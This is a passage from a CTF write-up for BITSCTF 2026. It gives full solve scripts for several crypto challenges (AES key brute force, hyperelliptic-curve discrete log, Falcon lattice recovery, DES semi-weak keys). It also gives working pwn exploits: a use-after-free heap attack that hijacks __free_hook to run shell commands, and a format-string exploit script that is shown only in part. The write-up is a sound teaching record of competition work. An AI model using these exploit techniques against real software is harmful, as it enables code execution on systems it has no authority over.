hi everyone! I’m back with another CTF writeup. This time I participated in BITSCTF 2026 and managed to solve 15 interesting challenges across different categories including Crypto, Pwn, Reverse Engineering, Web, Forensics, and Blockchain. The challenges ranged from reduced-round AES brute-forcing to kernel exploitation, Unity game reversing, and Solana smart contracts. Let me walk you through my solutions.
Cryptography
Aliens Eat Snacks
Category: Crypto
Flag: BITSCTF{7h3_qu1ck_br0wn_f0x_jump5_0v3r_7h3_l4zy_d0g}
Challenge Description
Custom AES-like implementation with only 4 rounds (standard AES-128 has 10). Given files: aes.py, output.txt, README.md.
Key information from output.txt:
key_hint: 26ab77cadcca0ed41b03c8f2e5(13 of 16 bytes leaked)encrypted_flag: 8e70387dc377a09cbc721debe27c468157b027e3e63fe02560506f70b3c72ca19130ae59c6eef47b734bb0147424ec936fc91dc658d15dee0b69a2dc24a78c44num_samples: 1000known plaintext/ciphertext pairs
Analysis
The challenge leaks 13 out of 16 key bytes, leaving only 3 unknown bytes to brute-force:
This is fully brute-forceable with optimized C + OpenMP.
Solution
Parse key_hint as first 13 bytes of the AES key. Brute-force all possible values for last 3 bytes. For each candidate key, encrypt sample plaintext #1 and compare with ciphertext #1, then encrypt sample plaintext #2 and compare. If both match, key is recovered.
File used: bruteforce_aes.c
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#ifdef _OPENMP
#include <omp.h>
#endif
static uint8_t SBOX[256];
static uint8_t MUL2[256], MUL3[256];
static inline uint8_t gf_mult(uint8_t a, uint8_t b) {
uint8_t result = 0;
for (int i = 0; i < 8; i++) {
if (b & 1) result ^= a;
uint8_t hi = a & 0x80;
a <<= 1;
if (hi) a ^= 0x1B;
b >>= 1;
}
return result;
}
static uint8_t gf_pow(uint8_t base, uint16_t exp) {
uint8_t result = 1;
while (exp) {
if (exp & 1) result = gf_mult(result, base);
base = gf_mult(base, base);
exp >>= 1;
}
return result;
}
static void init_tables(void) {
for (int i = 0; i < 256; i++) SBOX[i] = gf_pow((uint8_t)i, 23) ^ 0x63;
for (int i = 0; i < 256; i++) {
MUL2[i] = gf_mult(0x02, (uint8_t)i);
MUL3[i] = gf_mult(0x03, (uint8_t)i);
}
}
static const uint8_t RCON[10] = {0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36};
static void key_expansion_4round(const uint8_t key[16], uint8_t round_keys[80]) {
uint8_t words[20][4];
for (int i = 0; i < 4; i++) {
words[i][0] = key[4*i+0];
words[i][1] = key[4*i+1];
words[i][2] = key[4*i+2];
words[i][3] = key[4*i+3];
}
for (int i = 4; i < 20; i++) {
uint8_t temp[4] = {words[i-1][0], words[i-1][1], words[i-1][2], words[i-1][3]};
if (i % 4 == 0) {
uint8_t t = temp[0];
temp[0] = temp[1]; temp[1] = temp[2]; temp[2] = temp[3]; temp[3] = t;
temp[0] = SBOX[temp[0]]; temp[1] = SBOX[temp[1]]; temp[2] = SBOX[temp[2]]; temp[3] = SBOX[temp[3]];
temp[0] ^= RCON[(i/4)-1];
}
words[i][0] = words[i-4][0] ^ temp[0];
words[i][1] = words[i-4][1] ^ temp[1];
words[i][2] = words[i-4][2] ^ temp[2];
words[i][3] = words[i-4][3] ^ temp[3];
}
for (int r = 0; r <= 4; r++) {
for (int i = 0; i < 4; i++) {
round_keys[r*16 + i*4 + 0] = words[r*4+i][0];
round_keys[r*16 + i*4 + 1] = words[r*4+i][1];
round_keys[r*16 + i*4 + 2] = words[r*4+i][2];
round_keys[r*16 + i*4 + 3] = words[r*4+i][3];
}
}
}
static inline void add_round_key(uint8_t s[16], const uint8_t rk[16]) { for (int i=0;i<16;i++) s[i]^=rk[i]; }
static inline void sub_bytes(uint8_t s[16]) { for (int i=0;i<16;i++) s[i]=SBOX[s[i]]; }
static inline void shift_rows(uint8_t s[16]) {
uint8_t t[16];
for (int r=0;r<4;r++) for (int c=0;c<4;c++) t[r+4*c] = s[r+4*((c+r)&3)];
memcpy(s,t,16);
}
static inline void mix_columns(uint8_t s[16]) {
uint8_t t[16];
for (int c=0;c<4;c++) {
uint8_t s0=s[0+4*c], s1=s[1+4*c], s2=s[2+4*c], s3=s[3+4*c];
t[0+4*c] = MUL2[s0]^MUL3[s1]^s2^s3;
t[1+4*c] = s0^MUL2[s1]^MUL3[s2]^s3;
t[2+4*c] = s0^s1^MUL2[s2]^MUL3[s3];
t[3+4*c] = MUL3[s0]^s1^s2^MUL2[s3];
}
memcpy(s,t,16);
}
static void encrypt_block(const uint8_t rk[80], const uint8_t pt[16], uint8_t out[16]) {
uint8_t s[16]; memcpy(s,pt,16);
add_round_key(s, rk + 0);
for (int r=1;r<4;r++) {
sub_bytes(s); shift_rows(s); mix_columns(s); add_round_key(s, rk + 16*r);
}
sub_bytes(s); shift_rows(s); add_round_key(s, rk + 64);
memcpy(out,s,16);
}
static int hex_to_bytes(const char *hex, uint8_t *out, size_t out_len) {
if (strlen(hex) != out_len*2) return 0;
for (size_t i=0;i<out_len;i++) {
unsigned v; if (sscanf(hex+2*i, "%2x", &v) != 1) return 0;
out[i] = (uint8_t)v;
}
return 1;
}
int main(void) {
init_tables();
const char *key_hint_hex = "26ab77cadcca0ed41b03c8f2e5";
const char *pt1_hex = "376f73334dc9db2a4d20734c0783ac69";
const char *ct1_hex = "9070f81f4de789663820e8924924732b";
const char *pt2_hex = "a4da3590273d7b33b2a4e73210c38a05";
const char *ct2_hex = "f501ed98c671cf1a23e5c028504d2603";
uint8_t key_prefix[13], pt1[16], ct1[16], pt2[16], ct2[16];
if (!hex_to_bytes(key_hint_hex, key_prefix, 13) ||
!hex_to_bytes(pt1_hex, pt1, 16) ||
!hex_to_bytes(ct1_hex, ct1, 16) ||
!hex_to_bytes(pt2_hex, pt2, 16) ||
!hex_to_bytes(ct2_hex, ct2, 16)) {
return 1;
}
volatile int found = 0;
uint8_t found_key[16] = {0};
#pragma omp parallel
{
uint8_t key[16], rk[80], out[16];
memcpy(key, key_prefix, 13);
#pragma omp for schedule(dynamic, 4096)
for (uint32_t s = 0; s <= 0xFFFFFF; s++) {
if (found) continue;
key[13] = (uint8_t)(s >> 16);
key[14] = (uint8_t)(s >> 8);
key[15] = (uint8_t)(s);
key_expansion_4round(key, rk);
encrypt_block(rk, pt1, out);
if (memcmp(out, ct1, 16) != 0) continue;
encrypt_block(rk, pt2, out);
if (memcmp(out, ct2, 16) != 0) continue;
#pragma omp critical
{
if (!found) {
found = 1;
memcpy(found_key, key, 16);
}
}
}
}
if (!found) return 2;
printf("KEY=");
for (int i = 0; i < 16; i++) printf("%02x", found_key[i]);
printf("\n");
return 0;
}Compile and run:
gcc -O3 -march=native -fopenmp bruteforce_aes.c -o bruteforce_aes
./bruteforce_aesOutput:
KEY=26ab77cadcca0ed41b03c8f2e5cdec0cUse recovered key to decrypt encrypted_flag block-by-block:
#!/usr/bin/env python3
from aes import AES
key = bytes.fromhex("26ab77cadcca0ed41b03c8f2e5cdec0c")
encrypted_flag = bytes.fromhex(
"8e70387dc377a09cbc721debe27c468157b027e3e63fe02560506f70b3c72ca1"
"9130ae59c6eef47b734bb0147424ec936fc91dc658d15dee0b69a2dc24a78c44"
)
cipher = AES(key)
plaintext = b"".join(cipher.decrypt(encrypted_flag[i:i+16]) for i in range(0, len(encrypted_flag), 16))
# PKCS#7 unpad
pad = plaintext[-1]
plaintext = plaintext[:-pad]
print(plaintext.decode())Output:
BITSCTF{7h3_qu1ck_br0wn_f0x_jump5_0v3r_7h3_l4zy_d0g}Insane Curves
Category: Crypto
Flag: BITSCTF{7h15_15_w4y_2_63nu5_6n6}
Challenge Description
Genus-2 hyperelliptic curve challenge. Given val.txt and description.txt with curve parameters and ciphertext.
From val.txt:
- Prime field:
p = 129403459552990578380563458675806698255602319995627987262273876063027199999999 - Curve:
y^2 = f(x), deg(f)=6 - Public Jacobian elements
G = (G_u, G_v)andQ = (Q_u, Q_v)in Mumford representation - Ciphertext:
enc_flag=f6ca1f88bdb8e8dda17861b91704523f914564888c7138c24a3ab98902c10de5
Analysis
The critical observation was that G is annihilated by p+1:
(p+1) * G = Oand p+1 is extremely smooth:
That makes the discrete log in <G> solvable with Pohlig–Hellman. Target relation:
Solution
Implement genus-2 Jacobian arithmetic for y^2=f(x) (Cantor composition/reduction). Work with divisor-class equality (compare via (A - B) == identity, not just raw (u,v) tuple equality). Solve DLP modulo each prime power of p+1 with PH, then recombine with CRT to recover full x.
File used: solve_insane_curves.py
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib
p=129403459552990578380563458675806698255602319995627987262273876063027199999999
f=[87455262955769204408909693706467098277950190590892613056321965035180446006909,
12974562908961912291194866717212639606874236186841895510497190838007409517645,
11783716142539985302405554361639449205645147839326353007313482278494373873961,
55538572054380843320095276970494894739360361643073391911629387500799664701622,
124693689608554093001160935345506274464356592648782752624438608741195842443294,
52421364818382902628746436339763596377408277031987489475057857088827865195813,
50724784947260982182351215897978953782056750224573008740629192419901238915128]
G0=([95640493847532285274015733349271558012724241405617918614689663966283911276425,1],
[23400917335266251424562394829509514520732985938931801439527671091919836508525])
Q0=([34277069903919260496311859860543966319397387795368332332841962946806971944007,
343503204040841221074922908076232301549085995886639625441980830955087919004,1],
[102912018107558878490777762211244852581725648344091143891953689351031146217393,
65726604025436600725921245450121844689064814125373504369631968173219177046384])
ct=bytes.fromhex("f6ca1f88bdb8e8dda17861b91704523f914564888c7138c24a3ab98902c10de5")
GENUS=2
def norm(a):
a=[x%p for x in a]
while len(a)>1 and a[-1]==0:a.pop()
return a
def deg(a):return len(a)-1
def padd(a,b):
n=max(len(a),len(b));c=[0]*n
for i in range(n): c[i]=((a[i] if i<len(a) else 0)+(b[i] if i<len(b) else 0))%p
return norm(c)
def psub(a,b):
n=max(len(a),len(b));c=[0]*n
for i in range(n): c[i]=((a[i] if i<len(a) else 0)-(b[i] if i<len(b) else 0))%p
return norm(c)
def pmul(a,b):
c=[0]*(len(a)+len(b)-1)
for i,x in enumerate(a):
if x:
for j,y in enumerate(b):
if y:c[i+j]=(c[i+j]+x*y)%p
return norm(c)
def inv(x):return pow(x,p-2,p)
def pscale(a,k):return norm([(x*k)%p for x in a])
def monic(a):
a=norm(a)
return pscale(a,inv(a[-1])) if a!=[0] else [0]
def divmodp(a,b):
a=norm(a[:]);b=norm(b)
if b==[0]:raise ZeroDivisionError
if deg(a)<deg(b):return [0],a
q=[0]*(deg(a)-deg(b)+1);ib=inv(b[-1])
while a!=[0] and deg(a)>=deg(b):
d=deg(a)-deg(b);coef=a[-1]*ib%p;q[d]=coef
for i,bi in enumerate(b):a[i+d]=(a[i+d]-coef*bi)%p
a=norm(a)
return norm(q),norm(a)
def pmod(a,m): return divmodp(a,m)[1]
def divexact(a,b):
q,r=divmodp(a,b)
if r!=[0]:raise ValueError
return q
def xgcd(a,b):
a=norm(a); b=norm(b)
s0,s1=[1],[0]; t0,t1=[0],[1]; r0,r1=a,b
while r1!=[0]:
q,r=divmodp(r0,r1)
r0,r1=r1,r
s0,s1=s1,psub(s0,pmul(q,s1))
t0,t1=t1,psub(t0,pmul(q,t1))
il=inv(r0[-1])
return pscale(r0,il),pscale(s0,il),pscale(t0,il)
ID=([1],[0])
def normalize(D):
u,v=D
u=monic(u);v=pmod(v,u)
return u,v
def reduction(a,b):
a,b=normalize((a,b))
a2=monic(divexact(psub(f,pmul(b,b)),a))
b2=pmod(pscale(b,p-1),a2)
if deg(a2)==deg(a):
return (a2,b2)
elif deg(a2)>GENUS:
return reduction(a2,b2)
return normalize((a2,b2))
def comp(D1,D2):
a1,b1=normalize(D1); a2,b2=normalize(D2)
if a1==a2 and b1==b2:
d,h1,h3=xgcd(a1,pscale(b1,2))
a=pmul(divexact(a1,d),divexact(a1,d))
b=pmod(padd(b1,pmul(h3,divexact(psub(f,pmul(b1,b1)),d))),a)
else:
d0,_,h2=xgcd(a1,a2)
if d0==[1]:
a=pmul(a1,a2)
b=pmod(padd(b2,pmul(pmul(h2,a2),psub(b1,b2))),a)
else:
d,l,h3=xgcd(d0,padd(b1,b2))
a=divexact(pmul(a1,a2),pmul(d,d))
b=pmod(padd(padd(b2,pmul(pmul(pmul(l,h2),psub(b1,b2)),divexact(a2,d))),
pmul(h3,divexact(psub(f,pmul(b2,b2)),d))),a)
a=monic(a)
return reduction(a,b) if deg(a)>GENUS else normalize((a,b))
def addD(A,B):
if A==ID:return normalize(B)
if B==ID:return normalize(A)
return comp(A,B)
def negD(D):
u,v=normalize(D)
return (u,pmod(pscale(v,p-1),u))
def subD(A,B):return addD(A,negD(B))
def is_id(D):
u,v=normalize(D)
return u==[1] and v==[0]
def eqcls(A,B):
return is_id(subD(A,B))
def smul(k,D):
R=ID;Q=normalize(D)
while k>0:
if k&1:R=addD(R,Q)
Q=addD(Q,Q)
k//=2
return R
def dlog_prime_power(Gi,Qi,l,e):
x=0
base=smul(l**(e-1),Gi)
table=[]
cur=ID
for d in range(l):
table.append(cur)
cur=addD(cur,base)
for j in range(e):
R=subD(Qi,smul(x,Gi))
C=smul(l**(e-1-j),R)
digit=None
for d,val in enumerate(table):
if eqcls(val,C):
digit=d
break
if digit is None:
raise ValueError(f"No digit for l={l}, j={j}")
x += digit*(l**j)
return x
def crt(residues, moduli):
x=0; M=1
for r,m in zip(residues,moduli):
k=((r-x)%m)*pow(M,-1,m)%m
x += M*k
M *= m
return x%M
G=normalize(G0)
Q=normalize(Q0)
N=p+1
assert is_id(smul(N,G))
fac=[(2,23),(3,14),(5,8),(7,4),(11,10),(13,10),(17,9),(19,6),(23,5),(29,1),(31,4)]
res=[]; mods=[]
for l,e in fac:
m=l**e
Gi=smul(N//m,G)
Qi=smul(N//m,Q)
xi=dlog_prime_power(Gi,Qi,l,e)
res.append(xi)
mods.append(m)
x=crt(res,mods)
assert eqcls(smul(x,G),Q)
print("x =", x)
# key derivation that matches challenge encryption
key = hashlib.sha256(str(x).encode()).digest()
pt = bytes(a^b for a,b in zip(ct,key))
print("plaintext:", pt)
print("flag:", pt.decode())Run:
python3 solve_insane_curves.pyOutput:
x = 91527621348541142496688581834442276703691715094599257862319082414424378704170
flag: BITSCTF{7h15_15_w4y_2_63nu5_6n6}Lattices Wreck Everything
Category: Crypto
Flag: BITSCTF{h1nts_4r3_p0w3rfu1_4nd_f4lc0ns_4r3_f4st}
Challenge Description
Falcon/NTRU-based challenge with beware.zip. 436 out of 512 coefficients of secret polynomial f were leaked as hints. Flag is encrypted with a SHA-256 stream key: , then XORed with challenge_flag.enc bytes.
From data inspection:
q = 12289n = 512Ais512 x 512,bis all-zero- hints count =
436unique indices - unknown secret coefficients =
512 - 436 = 76
Analysis
The public equation:
This is an LWE-like bounded-noise equation:
f_known: vector with known hinted coefficientsx: 76-dimensional vector for unknown coefficientsM = A[missing,:]^T(shape512 x 76)c = f_known @ A
Equation becomes: , where is small (Falcon noise). This is ideal for a primal lattice CVP attack.
Solution
Build a primal lattice basis for sampled equations: . Reduce basis with LLL then BKZ. Use Babai nearest plane (CVP.babai) with target -c_s. Recover candidate x from the scaled block. Refine with alternating rounded least-squares and coordinate descent.
File used: solve_primal_target.py
#!/usr/bin/env python3
import hashlib
import json
from pathlib import Path
import numpy as np
from fpylll import BKZ, CVP, IntegerMatrix, LLL
def centered(v, q):
return ((v + q // 2) % q) - q // 2
def decrypt_flag(f_vec, enc_hex):
key = hashlib.sha256(np.array(f_vec, dtype=np.int64).tobytes()).digest()
ct = bytes.fromhex(enc_hex)
return bytes(c ^ key[i % len(key)] for i, c in enumerate(ct))
def build_basis(A_samp, q, alpha):
# L = {(qz + A x, alpha x)}
m, n = A_samp.shape
d = m + n
rows = []
for i in range(m):
r = [0] * d
r[i] = int(q)
rows.append(r)
for j in range(n):
r = [0] * d
col = A_samp[:, j]
for i in range(m):
r[i] = int(col[i])
r[m + j] = int(alpha)
rows.append(r)
return IntegerMatrix.from_matrix(rows)
def score_x(x, M_all, c_all, q):
e = centered((c_all + M_all @ x).astype(np.int64), q)
return int(np.dot(e, e)), int(np.max(np.abs(e))), float(np.std(e)), e
def refine_x(x, M_all, c_all, q, lim=24, rounds=8):
x = np.clip(x.astype(np.int64), -lim, lim)
# alternating rounding least squares on quotient vars
pinv = np.linalg.pinv(M_all.astype(np.float64))
for _ in range(rounds):
y = (c_all + M_all @ x).astype(np.float64)
k = np.rint(y / float(q))
rhs = (q * k - c_all).astype(np.float64)
xn = np.rint(pinv @ rhs).astype(np.int64)
xn = np.clip(xn, -lim, lim)
if np.array_equal(xn, x):
break
x = xn
# coordinate polish
sc, _, _, expr = score_x(x, M_all, c_all, q)
rng = np.random.default_rng(2026)
for _ in range(10):
improved = False
for i in rng.permutation(len(x)):
old = int(x[i])
col = M_all[:, i]
bestv, bests = old, sc
for nv in (old - 2, old - 1, old + 1, old + 2):
if nv < -lim or nv > lim:
continue
expr2 = expr + col * (nv - old)
e2 = centered(expr2, q)
sc2 = int(np.dot(e2, e2))
if sc2 < bests:
bests = sc2
bestv = nv
if bestv != old:
expr = expr + col * (bestv - old)
x[i] = bestv
sc = bests
improved = True
if not improved:
break
return x
def main():
base = Path(__file__).resolve().parent
data = json.loads((base / "challenge_data.json").read_text())
enc_hex = (base / "challenge_flag.enc").read_text().strip()
q = int(data["q"])
nfull = int(data["n"])
A = np.array(data["A"], dtype=np.int64)
f_known = np.zeros(nfull, dtype=np.int64)
known_mask = np.zeros(nfull, dtype=bool)
for i, v in data["hints"]:
i = int(i)
f_known[i] = int(v)
known_mask[i] = True
missing = np.where(~known_mask)[0]
n = len(missing)
M_all = A[missing, :].T.astype(np.int64) # 512 x 76
c_all = (f_known @ A).astype(np.int64)
print(f"[+] q={q}, unknown={n}, equations={M_all.shape[0]}")
rng = np.random.default_rng(1337)
best_sc = 10**100
best_x = None
trial = 0
for m in [96, 112, 128, 144]:
for alpha in [1, 2, 3, 4, 5, 6]:
for beta in [22, 26, 30]:
for _ in range(12):
trial += 1
idx = np.sort(rng.choice(M_all.shape[0], size=m, replace=False))
As = M_all[idx, :]
cs = c_all[idx]
B = build_basis(As, q, alpha)
LLL.reduction(B, delta=0.997)
BKZ.reduction(B, BKZ.Param(block_size=beta, max_loops=2))
# target is -c (NOT reduced mod q)
target = [int(-v) for v in cs.tolist()] + [0] * n
v = np.array(CVP.babai(B, target), dtype=np.int64)
x0 = np.rint(v[m:] / float(alpha)).astype(np.int64)
x0 = np.clip(x0, -28, 28)
for x in (x0, -x0):
x = refine_x(x, M_all, c_all, q, lim=24, rounds=8)
sc, mx, sd, _ = score_x(x, M_all, c_all, q)
if sc < best_sc:
best_sc = sc
best_x = x.copy()
print(
f"[+] best t={trial} m={m} a={alpha} bkz={beta} score={sc} max={mx} std={sd:.2f} xr=[{x.min()},{x.max()}]"
)
f_rec = f_known.copy()
for i, pos in enumerate(missing):
f_rec[pos] = int(x[i])
pt = decrypt_flag(f_rec.tolist(), enc_hex)
if b"BITSCTF{" in pt:
print("\n[+] FLAG FOUND")
print(pt.decode(errors="ignore"))
return
if trial % 20 == 0:
print(f"[*] trial={trial} current_best={best_sc}")
print(f"[-] no flag. best_score={best_sc}")
if best_x is not None:
f_rec = f_known.copy()
for i, pos in enumerate(missing):
f_rec[pos] = int(best_x[i])
pt = decrypt_flag(f_rec.tolist(), enc_hex)
print(f"[+] best preview: {pt[:120]!r}")
if __name__ == "__main__":
main()Install dependencies and run:
python3 -m pip install fpylll cysignals numpy
python3 solve_primal_target.pyOutput:
[+] best t=33 m=96 a=1 bkz=30 score=8716 max=14 std=4.11 xr=[-7,9]
[+] FLAG FOUND
BITSCTF{h1nts_4r3_p0w3rfu1_4nd_f4lc0ns_4r3_f4st}Super DES
Category: Crypto
Flag: BITSCTF{5up3r_d35_1z_n07_53cur3}
Challenge Description
Given server.py. Remote: nc 20.193.149.152 1340. Description: “I heard triple des is deprecated, so I made my own.”
The server generates random k1 at startup, then lets us choose k2 and k3:
def triple_des_ultra_secure_v1(pt, k2, k3):
return E_k1(E_k2(E_k3(pad(pt))))
def triple_des_ultra_secure_v2(pt, k2, k3):
return D_k1(E_k2(E_k3(pad(pt))))(k2 == k3 is blocked, but k2 != k3 is allowed.)
Analysis
DES has semi-weak key pairs such that for specific distinct key pairs. One valid pair:
k2 = 01FE01FE01FE01FEk3 = FE01FE01FE01FE01
So in ultra_secure_v1:
Solution
Use semi-weak pair to collapse encryption to . Then for arbitrary k2, k3, if we pick plaintext so that , querying ultra_secure_v2 gives .
The practical caveat: we must brute-force random (k2,k3) until has valid PKCS#7 structure.
File used: solve_super_des.py
#!/usr/bin/env python3
from pwn import remote
from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad
from Crypto.Random import get_random_bytes
HOST, PORT = "20.193.149.152", 1340
def adjust_key(key8: bytes) -> bytes:
out = bytearray()
for b in key8:
b7 = b & 0xFE
ones = bin(b7).count("1")
out.append(b7 | (ones % 2 == 0))
return bytes(out)
def wait_k2_prompt(io):
io.recvuntil(b"enter k2 hex bytes >")
def query(io, k2: bytes, k3: bytes, option: int, mode: int, pt_hex: str | None = None) -> bytes:
wait_k2_prompt(io)
io.sendline(k2.hex().encode())
io.recvuntil(b"enter k3 hex bytes >")
io.sendline(k3.hex().encode())
io.recvuntil(b"enter option >")
io.sendline(str(option).encode())
io.recvuntil(b"enter option >")
io.sendline(str(mode).encode())
if mode == 2:
io.recvuntil(b"enter hex bytes >")
io.sendline(pt_hex.encode())
line = io.recvline_contains(b"ciphertext")
return bytes.fromhex(line.decode().split(":", 1)[1].strip())
def main():
io = remote(HOST, PORT)
# Step 1: semi-weak pair so E_k2(E_k3(x)) = x
k2w = bytes.fromhex("01FE01FE01FE01FE")
k3w = bytes.fromhex("FE01FE01FE01FE01")
# Cflag = E_k1(pad(flag))
cflag = query(io, k2w, k3w, option=2, mode=1)
print(f"[+] Cflag ({len(cflag)} bytes): {cflag.hex()}")
# Step 2: find k2,k3 where D_k3(D_k2(cflag)) is valid PKCS#7
attempts = 0
while True:
attempts += 1
k2 = adjust_key(get_random_bytes(8))
k3 = adjust_key(get_random_bytes(8))
if k2 == k3:
continue
pre = DES.new(k3, DES.MODE_ECB).decrypt(DES.new(k2, DES.MODE_ECB).decrypt(cflag))
try:
chosen_pt = unpad(pre, 8)
except ValueError:
continue
print(f"[+] Found valid candidate after {attempts} attempts")
# Step 3: v2 returns pad(flag)
out = query(io, k2, k3, option=3, mode=2, pt_hex=chosen_pt.hex())
flag = unpad(out, 8)
print(f"[+] Flag bytes: {flag}")
print(f"[+] Flag: {flag.decode()}")
break
io.close()
if __name__ == "__main__":
main()Run:
python3 solve_super_des.pyOutput:
[+] Cflag (40 bytes): 72922fe6db8bbc21825f1f3a5a9d336e82ef77555946655ed1529579670aab074df19b7d7a35e007
[+] Found valid candidate after 6 attempts
[+] Flag bytes: b'BITSCTF{5up3r_d35_1z_n07_53cur3}'
[+] Flag: BITSCTF{5up3r_d35_1z_n07_53cur3}Pwn (Binary Exploitation)
Cider Vault
Category: Pwn
Flag: BITSCTF{358289056fd6ac0fef4e114ae5abeab2}
Challenge Description
Given cider_vault, libc.so.6, ld-linux-x86-64.so.2. Remote: nc chals.bitskrieg.in 36680
Protections: 64-bit PIE, Full RELRO, Canary, NX.
Analysis
From reversing (objdump, readelf, radare2) and runtime behavior, the menu has these key primitives:
- open page →
malloc(size) - paint page → writes attacker bytes to chunk
- peek page → prints attacker-chosen bytes from chunk
- tear page →
free(ptr) - stitch pages →
realloc+ copy from another page - whisper path → rewires pointer as:
vats[id].ptr = star_token ^ 0x51f0d1ce6e5b7a91
Bugs used:
- UAF:
tear pagefrees memory but pointer is not nulled - OOB read/write:
paint/peekallow up tosize + 0x80 - Arbitrary pointer assignment:
whisper pathlets us set page pointer to almost any address
Exploitation
Step A — Leak libc with unsorted bin:
- Allocate large chunk (
0x500) so free goes to unsorted bin - Allocate guard chunk (
0x100) to avoid top consolidation - Free the large chunk
- Use UAF +
peekto read first qword (unsortedfd)
Empirically for provided libc: libc_base = unsorted_leak - 0x1ecbe0
Step B — Hook hijack:
__free_hook = libc_base + 0x1eee48system = libc_base + 0x52290
Use whisper path to point a controlled page at __free_hook, then paint to write p64(system).
Step C — Trigger code execution: Create chunk containing command string, free that chunk. Because __free_hook == system, free(chunk) becomes system(chunk_data).
File used: exploit.py
#!/usr/bin/env python3
from pwn import *
context.binary = ELF("./cider_vault", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
LD = "./ld-linux-x86-64.so.2"
XOR_KEY = 0x51F0D1CE6E5B7A91
UNSORTED_LEAK_OFF = 0x1ECBE0
def start():
if args.REMOTE:
host = args.HOST or "127.0.0.1"
port = int(args.PORT or 1337)
return remote(host, port)
return process([LD, "--library-path", ".", "./cider_vault"])
def choose(io, n):
io.sendlineafter(b"> ", str(n).encode())
def open_page(io, idx, size):
choose(io, 1)
io.sendlineafter(b"page id:\n", str(idx).encode())
io.sendlineafter(b"page size:\n", str(size).encode())
def paint_page(io, idx, data):
choose(io, 2)
io.sendlineafter(b"page id:\n", str(idx).encode())
io.sendlineafter(b"ink bytes:\n", str(len(data)).encode())
io.sendafter(b"ink:\n", data)
def peek_page(io, idx, n):
choose(io, 3)
io.sendlineafter(b"page id:\n", str(idx).encode())
io.sendlineafter(b"peek bytes:\n", str(n).encode())
out = io.recvn(n)
io.recvuntil(b"\n")
return out
def tear_page(io, idx):
choose(io, 4)
io.sendlineafter(b"page id:\n", str(idx).encode())
def whisper_path(io, idx, target_addr):
choose(io, 6)
io.sendlineafter(b"page id:\n", str(idx).encode())
token = target_addr ^ XOR_KEY
if token >= (1 << 63):
token -= 1 << 64
io.sendlineafter(b"star token:\n", str(token).encode())
def main():
io = start()
# 1) Leak libc from unsorted bin using UAF + OOB peek
open_page(io, 0, 0x500)
open_page(io, 1, 0x100) # guard chunk to avoid top consolidation
tear_page(io, 0)
leak = u64(peek_page(io, 0, 8))
libc.address = leak - UNSORTED_LEAK_OFF
log.success(f"unsorted leak: {hex(leak)}")
log.success(f"libc base : {hex(libc.address)}")
free_hook = libc.symbols["__free_hook"]
system = libc.symbols["system"]
log.info(f"__free_hook : {hex(free_hook)}")
log.info(f"system : {hex(system)}")
# 2) Prepare command chunk; free(cmd) will become system(cmd)
cmd = b"cat /app/flag.txt; cat ./flag.txt; cat ./cider_vault/flag.txt\x00"
open_page(io, 2, 0x100)
paint_page(io, 2, cmd)
# 3) Arbitrary write via whisper_path + paint to overwrite __free_hook
open_page(io, 3, 0x100)
whisper_path(io, 3, free_hook)
paint_page(io, 3, p64(system))
# 4) Trigger system(cmd)
tear_page(io, 2)
out = io.recvrepeat(2)
print(out.decode("latin-1", errors="ignore"))
io.close()
if __name__ == "__main__":
main()Run local:
python3 exploit.pyRun remote:
python3 exploit.py REMOTE HOST=chals.bitskrieg.in PORT=36680Retrieved flag:
BITSCTF{358289056fd6ac0fef4e114ae5abeab2}Orbital Relay
Category: Pwn
Flag: BITSCTF{0rb1t4l_r3l4y_gh0stfr4m3_0v3rr1d3}
Challenge Description
Given orbital_relay.tar.gz. Remote: nc 20.193.149.152 1339
Protections: Full RELRO, Canary, NX, SHSTK, IBT.
Analysis
The service uses a binary framed protocol:
Handshake: Client sends SYNCv3?, server responds with 4-byte little-endian session value.
Frame format: chan:u8 | flags:u8 | len:u16(le) | mac:u32(le) | payload[len]
MAC function:
acc = (chan<<16) ^ sess ^ flags ^ 0x9e3779b9;
for each payload byte b:
acc = rol32(acc, 7);
acc ^= (b + 0x3d);Key bug chain in diagnostics handling:
- TLV tag
0x10decrypts attacker bytes into a global string buffer - TLV tag
0x40triggers:__printf_chk(2, controlled_buffer, st80, st, keep_win)— format string primitive - Tag
0x31sets encrypted callback pointer. On teardown (chan=9), server decrypts and calls it
Callback decode: decoded = cb_enc ^ (((uint64_t)st80 << 32) ^ st84 ^ 0x9e3779b97f4a7c15)
Exploitation
- Pass auth with proper MAC computation
- Use format string to leak
winfunction address - Forge
cb_encso decoded callback == leakedwin - Trigger channel 9 to execute
win()which printsflag.txt
File used: solve.py
#!/usr/bin/env python3
from pwn import *
import re
import struct
HOST = "20.193.149.152"
PORT = 1339
ST84_INIT = 0x28223B24
SEED_INIT = 0x3B152813
AUTH_XOR = 0x31C3B7A9
CB_CONST = 0x9E3779B97F4A7C15
def mix32(x: int) -> int:
x &= 0xFFFFFFFF
x = (((x << 13) & 0xFFFFFFFF) ^ x) & 0xFFFFFFFF
x = ((x >> 17) ^ x) & 0xFFFFFFFF
x = (((x << 5) & 0xFFFFFFFF) ^ x) & 0xFFFFFFFF
return x
def kbyte(seed: int, idx: int) -> int:
idx16 = idx & 0xFFFF
v = (seed + ((idx16 * 0x045D9F3B) & 0xFFFFFFFF)) & 0xFFFFFFFF
return mix32(v) & 0xFF
def mac32(payload: bytes, chan: int, flags: int, sess: int) -> int:
acc = (((chan & 0xFF) << 16) ^ (sess & 0xFFFFFFFF) ^ (flags & 0xFF) ^ 0x9E3779B9) & 0xFFFFFFFF
for b in payload:
acc = ((acc << 7) | (acc >> 25)) & 0xFFFFFFFF
acc ^= (b + 0x3D) & 0xFFFFFFFF
return acc
def frame(chan: int, flags: int, payload: bytes, sess: int) -> bytes:
return (
struct.pack("<BBHI", chan, flags, len(payload), mac32(payload, chan, flags, sess))
+ payload
)
def tlv(tag: int, value: bytes) -> bytes:
if len(value) > 0xFF:
raise ValueError("TLV value too long")
return bytes([tag & 0xFF, len(value)]) + value
def enc_for_tag10(plain: bytes, st80: int, st84: int) -> bytes:
seed = (st80 ^ st84) & 0xFFFFFFFF
return bytes([(plain[i] ^ kbyte(seed, i)) & 0xFF for i in range(len(plain))])
def start():
if args.LOCAL:
return process(["./orbital_relay"])
return remote(HOST, PORT)
def main():
io = start()
io.send(b"SYNCv3?")
sess = u32(io.recvn(4))
